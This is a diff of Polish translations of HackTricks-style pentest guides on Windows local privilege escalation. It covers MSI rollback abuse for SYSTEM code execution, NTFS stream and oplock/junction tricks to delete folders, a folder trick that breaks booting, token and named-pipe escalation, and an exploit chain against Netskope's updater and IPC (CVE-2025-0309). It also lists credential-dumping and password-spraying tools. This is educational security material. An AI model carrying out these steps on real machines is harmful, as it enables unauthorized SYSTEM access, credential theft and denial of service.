**czeka** na inne zdarzenie zanim kontynuuje deinstalację. +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Krok 4: Block Deletion of `.rbf` -- Po otrzymaniu sygnału, **otwórz plik `.rbf`** bez `FILE_SHARE_DELETE` — to **uniemożliwia jego usunięcie**. -- Następnie **odeslij sygnał**, aby deinstalacja mogła się zakończyć. -- Windows Installer nie udaje się usunąć `.rbf`, i ponieważ nie może usunąć wszystkich zawartości, **`C:\Config.Msi` nie zostaje usunięty**. +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Krok 5: Manually Delete `.rbf` -- Ty (atakujący) usuwasz plik `.rbf` ręcznie. -- Teraz **`C:\Config.Msi` jest pusty**, gotowy do przejęcia. +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> W tym momencie, **wywołaj lukę umożliwiającą usunięcie folderu na poziomie SYSTEM** aby usunąć `C:\Config.Msi`. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Krok 6: Recreate `C:\Config.Msi` with Weak ACLs -- Odtwórz folder `C:\Config.Msi` samodzielnie. -- Ustaw **weak DACLs** (np. Everyone:F) i **utrzymaj otwarty handle** z `WRITE_DAC`. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Krok 7: Run Another Install -- Zainstaluj ponownie `.msi`, z: -- `TARGETDIR`: zapisywalna lokalizacja. -- `ERROROUT`: zmienna, która wywołuje wymuszone niepowodzenie. -- Ta instalacja posłuży do ponownego wywołania **rollback**, który czyta `.rbs` i `.rbf`. +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Krok 8: Monitor for `.rbs` -- Użyj `ReadDirectoryChangesW` aby monitorować `C:\Config.Msi` aż pojawi się nowe `.rbs`. -- Przechwyć jego nazwę pliku. +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Krok 9: Sync Before Rollback -- `.msi` zawiera **custom install action (`SyncBeforeRollback`)**, która: -- Sygnalizuje zdarzenie, gdy `.rbs` zostanie utworzone. -- Następnie **czeka** zanim kontynuuje. +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Krok 10: Reapply Weak ACL -- Po otrzymaniu zdarzenia `.rbs created`: -- Windows Installer **ponownie stosuje silne ACL** do `C:\Config.Msi`. -- Ale ponieważ nadal masz handle z `WRITE_DAC`, możesz ponownie **zastosować weak ACLs**. +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> ACLs są **egzekwowane tylko przy otwarciu handle**, więc nadal możesz zapisywać do folderu. +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Krok 11: Drop Fake `.rbs` and `.rbf` -- Nadpisz plik `.rbs` **fałszywym skryptem rollback**, który mówi Windows, aby: -- Przywrócić twój plik `.rbf` (złośliwy DLL) do **uprzywilejowanej lokalizacji** (np. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Upuścić twoje fałszywe `.rbf` zawierające **złośliwy DLL na poziomie SYSTEM**. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Krok 12: Trigger the Rollback -- Zasygnałuj zdarzenie synchronizacji, aby instalator wznowił. -- Konfigurowana jest **type 19 custom action (`ErrorOut`)**, która **celowo powoduje niepowodzenie instalacji** w znanym punkcie. -- To powoduje rozpoczęcie **rollback**. +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Krok 13: SYSTEM Installs Your DLL +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Odczytuje twój złośliwy `.rbs`. -- Kopiuje twój `.rbf` DLL do docelowej lokalizacji. -- Teraz masz swój **złośliwy DLL w ścieżce ładowanej przez SYSTEM**. +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. - Final Step: Execute SYSTEM Code -- Uruchom zaufany **auto-elevated binary** (np. `osk.exe`), który ładuje DLL, który przejąłeś. -- **Bum**: Twój kod zostaje wykonany **jako SYSTEM**. +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. -### Z Arbitrary File Delete/Move/Rename do SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -Główna technika MSI rollback (poprzednia) zakłada, że możesz usunąć **cały folder** (np. `C:\Config.Msi`). Ale co jeśli twoja luka pozwala tylko na **dowolne usuwanie plików**? +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? -Możesz wykorzystać **NTFS internals**: każdy folder ma ukryty alternatywny strumień danych zwany: +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Ten strumień przechowuje **metadane indeksu** folderu. -Zatem, jeśli **usuniesz strumień `::$INDEX_ALLOCATION`** folderu, NTFS **usunie cały folder** z systemu plików. +Zatem, jeśli **usuniesz strumień `::$INDEX_ALLOCATION`** z folderu, NTFS **usuwa cały folder** z systemu plików. Możesz to zrobić, używając standardowych API do usuwania plików, takich jak: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Nawet jeśli wywołujesz *file* delete API, to **usuwa sam folder**. +> Nawet jeśli wywołujesz *file* delete API, ono **usuwa sam folder**. -### From Folder Contents Delete to SYSTEM EoP -Co jeśli twój primitive nie pozwala na usuwanie dowolnych files/folders, ale **pozwala na usunięcie *contents* attacker-controlled folder**? +### Od usuwania zawartości folderu do SYSTEM EoP +A co jeśli twój prymityw nie pozwala na usuwanie dowolnych plików/folderów, ale **pozwala na usunięcie *zawartości* folderu kontrolowanego przez atakującego**? -1. Step 1: Setup a bait folder and file -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. Krok 1: Przygotuj przynętę — folder i plik +- Utwórz: `C:\temp\folder1` +- W środku: `C:\temp\folder1\file1.txt` -2. Step 2: Place an **oplock** on `file1.txt` -- The oplock **wstrzymuje wykonanie** gdy uprzywilejowany proces próbuje usunąć `file1.txt`. +2. Krok 2: Umieść **oplock** na `file1.txt` +- Oplock **wstrzymuje wykonanie**, gdy uprzywilejowany proces próbuje usunąć `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1528,11 +1524,11 @@ WaitForDeleteToTriggerOplock(); - Ten proces skanuje foldery (np. `%TEMP%`) i próbuje usunąć ich zawartość. - Gdy dotrze do `file1.txt`, **oplock triggers** i przekazuje kontrolę do twojego callbacka. -4. Krok 4: Wewnątrz callbacka oplocka – przekieruj usunięcie +4. Krok 4: Wewnątrz oplock callbacka – przekieruj usuwanie - Opcja A: Przenieś `file1.txt` gdzie indziej -- To opróżnia `folder1` bez naruszenia oplocka. -- Nie usuwaj `file1.txt` bezpośrednio — to przedwcześnie zwolni oplock. +- To opróżnia `folder1` bez zerwania oplocka. +- Nie usuwaj `file1.txt` bezpośrednio — to zwolni oplock przedwcześnie. - Opcja B: Konwertuj `folder1` na **junction**: ```bash @@ -1544,47 +1540,47 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — usunięcie go usuwa folder. +> To celuje w wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder. 5. Krok 5: Zwolnienie oplocka -- SYSTEM proces kontynuuje i próbuje usunąć `file1.txt`. +- Proces SYSTEM kontynuuje i próbuje usunąć `file1.txt`. - Ale teraz, z powodu junction + symlink, w rzeczywistości usuwa: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Wynik**: `C:\Config.Msi` zostaje usunięty przez SYSTEM. +**Wynik**: `C:\Config.Msi` jest usuwany przez SYSTEM. ### Od Arbitrary Folder Create do Permanent DoS -Wykorzystaj prymityw, który pozwala Ci **create an arbitrary folder as SYSTEM/admin** — nawet jeśli **nie możesz zapisywać plików** lub **ustawić słabych uprawnień**. +Wykorzystaj prymityw, który pozwala ci **create an arbitrary folder as SYSTEM/admin** — nawet jeśli **you can’t write files** lub **set weak permissions**. -Utwórz **folder** (nie plik) o nazwie **critical Windows driver**, np.: +Utwórz **folder** (not a file) z nazwą **critical Windows driver**, np.: ``` C:\Windows\System32\cng.sys ``` -- Ta ścieżka zazwyczaj odpowiada sterownikowi trybu jądra `cng.sys`. -- Jeśli **wstępnie utworzysz ją jako folder**, Windows nie załaduje rzeczywistego sterownika podczas rozruchu. -- Następnie Windows próbuje załadować `cng.sys` podczas rozruchu. -- Widząc folder, **nie udaje mu się zlokalizować rzeczywistego sterownika**, i **zawiesza się lub zatrzymuje rozruch**. -- Nie ma **mechanizmu awaryjnego**, ani **możliwości odzyskania** bez zewnętrznej interwencji (np. naprawy rozruchu lub dostępu do dysku). +- Ta ścieżka zwykle odpowiada sterownikowi w trybie jądra `cng.sys`. +- Jeśli **uprzednio utworzysz ją jako folder**, Windows nie załaduje właściwego sterownika podczas uruchamiania. +- Następnie, Windows próbuje załadować `cng.sys` podczas rozruchu. +- Zobaczy folder, **nie zdoła zlokalizować właściwego sterownika**, i **zawiesi się lub przerwie rozruch**. +- Nie ma **żadnego obejścia**, i **nie da się przywrócić** bez zewnętrznej interwencji (np. naprawa rozruchu lub dostęp do dysku). -## **Z High Integrity do SYSTEM** +## **From High Integrity to System** -### **Nowa usługa** +### **New service** -Jeśli już działasz w procesie o High Integrity, **ścieżka do SYSTEM** może być prosta — wystarczy **utworzyć i uruchomić nową usługę**: +Jeśli już działasz w procesie High Integrity, **dostęp do SYSTEM** może być prosty — wystarczy **utworzyć i uruchomić nową usługę**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Przy tworzeniu service binary upewnij się, że to prawidłowy service lub że binary wykonuje niezbędne czynności wystarczająco szybko, ponieważ zostanie zabity po 20s, jeśli nie jest prawidłowym service. +> Podczas tworzenia binarki usługi upewnij się, że to prawidłowa usługa lub że binarka wykonuje niezbędne działania wystarczająco szybko, ponieważ zostanie zabita po 20 s, jeśli nie jest prawidłową usługą. ### AlwaysInstallElevated -Z procesu o High Integrity możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell używając wrappera _**.msi**_.\ -[Więcej informacji o kluczach rejestru zaangażowanych i jak zainstalować pakiet _.msi_ tutaj.](#alwaysinstallelevated) +Z procesu High Integrity możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell przy użyciu opakowania _**.msi**_.\ +[Więcej informacji o zaangażowanych kluczach rejestru i o tym, jak zainstalować pakiet _.msi_ tutaj.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1592,19 +1588,19 @@ Z procesu o High Integrity możesz spróbować **włączyć wpisy rejestru Alway ### From SeDebug + SeImpersonate to Full Token privileges -Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je w procesie o już High Integrity), będziesz mógł **otworzyć niemal dowolny proces** (nie protected processes) z uprawnieniem SeDebug, **skopiować token** procesu i utworzyć **dowolny proces z tym tokenem**.\ -Używając tej techniki zwykle **wybiera się proces uruchomiony jako SYSTEM z wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\ +Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je w procesie już o wysokiej integralności), będziesz w stanie **otworzyć niemal dowolny proces** (nie procesy chronione) z uprawnieniem SeDebug, **skopiować token** procesu i utworzyć **dowolny proces z tym tokenem**.\ +Zwykle wybiera się proces uruchomiony jako SYSTEM z wszystkimi uprawnieniami tokena (_tak, można znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\ **Możesz znaleźć** [**przykład kodu wykonującego proponowaną technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Technika ta jest używana przez meterpreter do eskalacji w `getsystem`. Polega na **utworzeniu pipe i następnie utworzeniu/nadużyciu service, aby zapisał do tego pipe**. Następnie **server**, który utworzył pipe używając uprawnienia **`SeImpersonate`**, będzie w stanie **podszyć się pod token** klienta pipe (service), uzyskując uprawnienia SYSTEM.\ -Jeśli chcesz [**dowiedzieć się więcej o name pipes powinieneś przeczytać to**](#named-pipe-client-impersonation).\ -Jeśli chcesz przeczytać przykład [**jak przejść z High Integrity do System używając name pipes przeczytaj to**](from-high-integrity-to-system-with-name-pipes.md). +Technika ta jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu potoku i następnie stworzeniu/nadużyciu usługi, aby zapisać do tego potoku**. Następnie, **serwer**, który utworzył potok używając uprawnienia **`SeImpersonate`**, będzie mógł **podszyć się pod token** klienta potoku (usługi), uzyskując uprawnienia SYSTEM.\ +Jeśli chcesz [**dowiedzieć się więcej o named pipes powinieneś przeczytać to**](#named-pipe-client-impersonation).\ +Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do System używając named pipes przeczytaj to**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Jeśli uda ci się **hijack a dll** będący **ładowany** przez **process** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a ponadto jest znacznie **łatwiejszy do osiągnięcia z procesu o High Integrity**, ponieważ będzie miał **write permissions** do folderów używanych do ładowania dll.\ +Jeśli uda Ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a ponadto znacznie **łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia zapisu** w folderach używanych do ładowania dll.\ **Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1623,39 +1619,39 @@ Jeśli uda ci się **hijack a dll** będący **ładowany** przez **process** dzi ## Useful tools -**Najlepsze narzędzie do wyszukiwania wektorów Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdza nieprawidłowe konfiguracje i wrażliwe pliki (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykrywane.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdza możliwe nieprawidłowości konfiguracji i zbiera informacje (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdza nieprawidłowe konfiguracje**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdza błędne konfiguracje i wrażliwe pliki (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykryte.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdza możliwe błędne konfiguracje i zbiera informacje (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdza błędne konfiguracje**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Wyciąga zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Wydobywa poświadczenia z Credential Manager. Wykrywane.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprowadza zebrane hasła po domenie**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i narzędzie man-in-the-middle.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Wydobywa poświadczenia z Credential Manager. Wykryte.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozsiewa zebrane hasła po domenie**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to PowerShellowy ADIDNS/LLMNR/mDNS/NBNS spoofer i narzędzie man-in-the-middle.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja Windows pod kątem privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~ -- Wyszukuje znane podatności privesc (PRZETERMINOWANE dla Watson)~~**\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalna weryfikacja **(Wymaga praw Administratora)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Wyszukuje znane luki privesc (PRZESTARZAŁE, zastąpione przez Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne sprawdzenia **(wymaga praw Administratora)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Szuka znanych podatności privesc (wymaga skompilowania w VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu nieprawidłowych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga skompilowania) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wyciąga poświadczenia z wielu programów (prekompilowane exe na GitHubie)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Wyszukuje znane luki privesc (wymaga skompilowania w VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga skompilowania) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wydobywa poświadczenia z wielu programów (prekompilowane exe na githubie)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp do C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~ -- Sprawdza nieprawidłowe konfiguracje (wykonywalny prekompilowany na GitHubie). Nie zalecane. Nie działa dobrze na Win10.~~**\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdza możliwe nieprawidłowe konfiguracje (exe z Pythona). Nie zalecane. Nie działa dobrze na Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Sprawdza błędne konfiguracje (wykonywalny prekompilowany na github). Niezalecane. Nie działa dobrze na Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdza możliwe błędne konfiguracje (exe z Pythona). Niezalecane. Nie działa dobrze na Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Narzędzie stworzone na bazie tego posta (nie wymaga accesschk, aby działać poprawnie, ale może go użyć). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Narzędzie stworzone na podstawie tego posta (nie wymaga accesschk, aby działać poprawnie, ale może go używać). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Czyta output **systeminfo** i rekomenduje działające exploity (lokalny python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Czyta output **systeminfo** i rekomenduje działające exploity (lokalny python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Odczytuje wynik **systeminfo** i rekomenduje działające exploity (lokalny python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Odczytuje wynik **systeminfo** i rekomenduje działające exploity (lokalny python) **Meterpreter** diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 1e17a8bbe..20a79f533 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# Nadużywanie korporacyjnych Auto-Updaterów i uprzywilejowanego IPC (np. Netskope stAgentSvc) +# Nadużywanie Enterprise Auto-Updaters i uprzywilejowanego IPC (np. Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -Ta strona uogólnia klasę łańcuchów eskalacji uprawnień lokalnych na Windows znajdujących się w agentach końcowych i updaterach korporacyjnych, które wystawiają niskotarciową powierzchnię IPC i uprzywilejowany przepływ aktualizacji. Reprezentatywnym przykładem jest Netskope Client for Windows < R129 (CVE-2025-0309), gdzie użytkownik o niskich uprawnieniach może wymusić rejestrację na serwerze kontrolowanym przez atakującego, a następnie dostarczyć złośliwy MSI, który instaluje usługa SYSTEM. +Ta strona uogólnia klasę łańcuchów Windows local privilege escalation znalezionych w enterprise endpoint agents i updaterach, które udostępniają niskotarciową powierzchnię IPC i uprzywilejowany flow aktualizacji. Reprezentatywnym przykładem jest Netskope Client for Windows < R129 (CVE-2025-0309), gdzie użytkownik o niskich uprawnieniach może wymusić enrollment do serwera kontrolowanego przez atakującego, a następnie dostarczyć złośliwe MSI, które instaluje usługa SYSTEM. -Kluczowe pomysły, które można wykorzystać przeciw podobnym produktom: -- Wykorzystaj localhost IPC uprzywilejowanej usługi, aby wymusić ponowną rejestrację lub rekonfigurację do serwera atakującego. -- Zaimplementuj endpointy aktualizacji dostawcy, dostarcz złośliwy Trusted Root CA i skieruj updater do złośliwego, „podpisanego” pakietu. -- Obejść słabe kontrole podpisujących (CN allow‑lists), opcjonalne flagi digest i luźne właściwości MSI. -- Jeśli IPC jest „szyfrowane”, wyprowadź key/IV z identyfikatorów maszyny czytelnych dla wszystkich użytkowników przechowywanych w registry. -- Jeśli usługa ogranicza wywołujących według image path/process name, wstrzyknij do procesu znajdującego się na allow‑liście lub uruchom proces w stanie suspended i załaduj swój DLL poprzez minimalną modyfikację thread‑context. +Kluczowe pomysły, które możesz ponownie użyć przeciw podobnym produktom: +- Nadużyj localhost IPC uprzywilejowanej usługi, aby wymusić ponowny re‑enrollment lub rekonfigurację do serwera atakującego. +- Zaimplementuj vendor’s update endpoints, dostarcz złośliwy Trusted Root CA i wskaż updaterowi złośliwy, „podpisany” pakiet. +- Obejść słabe kontrole podpisującego (CN allow‑lists), opcjonalne flagi digest i luźne właściwości MSI. +- Jeśli IPC jest „zaszyfrowane”, wyprowadź key/IV z ogólnodostępnych identyfikatorów maszyny zapisanych w rejestrze. +- Jeśli usługa ogranicza callerów według image path/process name, wstrzyknij do allow‑listowanego procesu lub uruchom go w stanie suspended i bootstrapuj swój DLL przez minimalną łatkę thread‑context. --- -## 1) Wymuszanie rejestracji na serwerze atakującego przez localhost IPC +## 1) Wymuszanie rejestracji do serwera atakującego przez localhost IPC -Wiele agentów zawiera proces UI działający w trybie użytkownika, który komunikuje się z usługą SYSTEM przez localhost TCP, używając JSON. +Wiele agentów dostarcza proces UI w user‑mode, który komunikuje się z usługą SYSTEM przez localhost TCP używając JSON. -Zaobserwowane w Netskope: -- UI: stAgentUI (niskiej integralności) ↔ Service: stAgentSvc (SYSTEM) +Zaobserwowano w Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN Przebieg exploitu: -1) Skomponuj token JWT do rejestracji, którego claims kontrolują host backendowy (np. AddonUrl). Użyj alg=None, żeby nie wymagać podpisu. -2) Wyślij wiadomość IPC wywołującą komendę provisioning z Twoim JWT i nazwą tenantu: +1) Stwórz JWT enrollment token, którego claims kontrolują backend host (np. AddonUrl). Użyj alg=None, więc nie jest wymagany żaden podpis. +2) Wyślij IPC message wywołujący provisioning command z Twoim JWT i tenant name: ```json { "148": { @@ -31,12 +31,12 @@ Przebieg exploitu: } } ``` -3) Usługa zaczyna kontaktować się z twoim złośliwym serwerem w celu rejestracji/konfiguracji, np.: +3) Usługa zaczyna łączyć się z twoim fałszywym serwerem w celu rejestracji/konfiguracji, np.: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Notes: -- Jeśli weryfikacja wywołującego jest oparta na ścieżce/nazwie, zainicjuj żądanie z poziomu pozwolonego pliku binarnego dostawcy (zob. §4). +- Jeśli weryfikacja wywołującego opiera się na ścieżce/nazwie, wygeneruj żądanie z dozwolonego binarnego pliku dostawcy (zob. §4). --- ## 2) Przejęcie kanału aktualizacji w celu uruchomienia kodu jako SYSTEM @@ -50,71 +50,71 @@ Gdy klient połączy się z twoim serwerem, zaimplementuj oczekiwane endpointy i "check_msi_digest": false } ``` -2) /config/ca/cert → Zwraca certyfikat CA w formacie PEM. Usługa instaluje go w Local Machine Trusted Root store. -3) /v2/checkupdate → Dostarcza metadane wskazujące na złośliwy MSI i fałszywą wersję. +2) /config/ca/cert → Zwraca PEM CA certificate. Serwis instaluje go do Local Machine Trusted Root store. +3) /v2/checkupdate → Dostarcza metadane wskazujące na złośliwe MSI i fałszywą wersję. -Bypassing common checks seen in the wild: -- Signer CN allow‑list: usługa może jedynie sprawdzać, czy Subject CN jest równy “netSkope Inc” lub “Netskope, Inc.”. Twój złośliwy CA może wydać leaf z tym CN i podpisać MSI. -- CERT_DIGEST property: dołącz nieszkodliwą właściwość MSI o nazwie CERT_DIGEST. Brak egzekwowania podczas instalacji. +Omijanie powszechnych kontroli spotykanych w naturze: +- Signer CN allow‑list: serwis może jedynie sprawdzać czy Subject CN = “netSkope Inc” lub “Netskope, Inc.”. Twoje złośliwe CA może wystawić certyfikat leaf z tym CN i podpisać MSI. +- CERT_DIGEST property: dołącz benign MSI property o nazwie CERT_DIGEST. Brak egzekwowania przy instalacji. - Optional digest enforcement: flaga konfiguracyjna (np. check_msi_digest=false) wyłącza dodatkową walidację kryptograficzną. -Wynik: usługa SYSTEM instaluje twój MSI z +Rezultat: usługa SYSTEM instaluje Twoje MSI z C:\ProgramData\Netskope\stAgent\data\*.msi -uruchamiając dowolny kod jako NT AUTHORITY\SYSTEM. +wykonując dowolny kod jako NT AUTHORITY\SYSTEM. --- ## 3) Forging encrypted IPC requests (when present) -Od R127 Netskope opakował IPC JSON w pole encryptData wyglądające jak Base64. Reverse engineering wykazał AES z kluczem/IV pochodzącymi z wartości rejestru czytelnymi przez dowolnego użytkownika: +Od R127, Netskope opakował IPC JSON w pole encryptData, które wygląda jak Base64. Reverse engineering wykazał AES z kluczem/IV wyprowadzonym z wartości rejestru czytelnych dla dowolnego użytkownika: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Atakujący mogą odtworzyć szyfrowanie i wysyłać prawidłowe, zaszyfrowane polecenia z konta zwykłego użytkownika. Ogólna wskazówka: jeśli agent nagle „szyfruje” swoje IPC, szukaj device IDs, product GUIDs, install IDs pod HKLM jako materiału. +Atakujący mogą odtworzyć szyfrowanie i wysyłać poprawne zaszyfrowane polecenia z poziomu zwykłego użytkownika. Ogólna wskazówka: jeśli agent 